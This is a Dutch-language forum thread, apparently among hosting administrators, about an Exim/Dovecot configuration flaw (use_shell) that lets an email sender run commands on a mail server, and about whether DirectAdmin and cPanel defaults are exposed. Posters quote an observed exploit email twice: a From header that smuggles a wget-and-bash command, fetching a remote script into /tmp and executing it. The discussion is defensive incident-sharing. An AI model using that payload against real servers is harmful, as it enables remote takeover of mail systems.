Onderwerp: Duizenden mailservers lek door Dovecot-configuratiefout

https://www.security.nl/artikel/4613...mpaign=rssfeed

Een configuratiefout in mogelijk meer dan honderdduizend mailservers zorgt ervoor dat kwaadwillenden door alleen het sturen van een e-mail de server kunnen overnemen. Het gaat om mailservers die Exim gebruiken, een mail transfer agent (MTA) die mail van andere servers verstuurt en ontvangt, en Dovecot, een open source IMAP en POP3 server voor het afleveren van e-mail aan gebruikers (LDA).

Het Exim-configuratiebestand dat Dovecot aanbiedt om de verbinding tussen de MTA en Local Delivery Agent (LDA) te maken bevat een verkeerde configuratie-optie, waardoor een aanvaller willekeurige commando's op de mailserver kan uitvoeren door alleen een e-mail te versturen.

Volgens mij zijn DirectAdmin machines met een standaard Exim / Dovecot installatie safe.
Ik kan nergens use_shell vinden in de configs.

Die honderdduizenden servers zijn enkel gebaseerd op exim + dovecot banners; veel servers zullen bijvoorbeeld DirectAdmin draaien, en voorzover ik heb gezien staat use_shell daar niet default aan in de exim-configuratie en zijn deze servers dus niet vatbaar voor dit probleem.
Toch blijft het een lelijke fout die veel schade lijkt aan te kunnen richten.

Oorspronkelijk geplaatst door dennis0162

Volgens mij zijn DirectAdmin machines met een standaard Exim / Dovecot installatie safe.
Ik kan nergens use_shell vinden in de configs.

Net bevestigd door iemand op het directadmin forum. Maar het kan zijn dat mensen een aanpassing hebben gedaan die ze toch kwetsbaar maakt.

http://forum.directadmin.com/showthr...643#post237643

Today, 02:41 PM smtalk:
DirectAdmin does not use LDA in exim.conf, but you should be careful if you used http://forum.directadmin.com/showthr...452#post182452 (just remove use_shell from exim.conf and restart exim to fix it).

Het lek wordt inmiddels ook actief misbruikt door kwaadwillenden:

http://forum.directadmin.com/showthread.php?t=46323

I've already seen a multiple tries on our servers trying to abuse the flaw.
But I am unsure if they were successful.
I can't seem to find anything suspicious in the /tmp folder or anything else suspicious in the processlist.

An example mail I have seen passing by:
Date: Sun, 5 May 2013 00:09:38 +0200 (CEST)
From: red`wget${IFS}-O${IFS}/tmp/p${IFS}it-haz.hu/ex.txt``bash${IFS}/tmp/p`team@example.com

Tot nu toe heb ik hier geen enkele server gevonden nog die die optie aan had staan. En ik heb toch een redelijke diversiteit aan servers gecontroleerd, waaronder DirectAdmin systemen, standaard Debian/Ubuntu systemen met Exim en Dovecot, etc.

Oorspronkelijk geplaatst door Netbulae

An example mail I have seen passing by:
Date: Sun, 5 May 2013 00:09:38 +0200 (CEST)
From: red`wget${IFS}-O${IFS}/tmp/p${IFS}it-haz.hu/ex.txt``bash${IFS}/tmp/p`team@example.com

Ik heb dat ook voorbij zien komen in de mail queue, maar de use_shell staat niet in de configs.

Zelfde mail hier ook gehad.

Bij Cpanel is ook geen use_shell te vinden in de config, dus daar wordt dat ook niet gebruikt.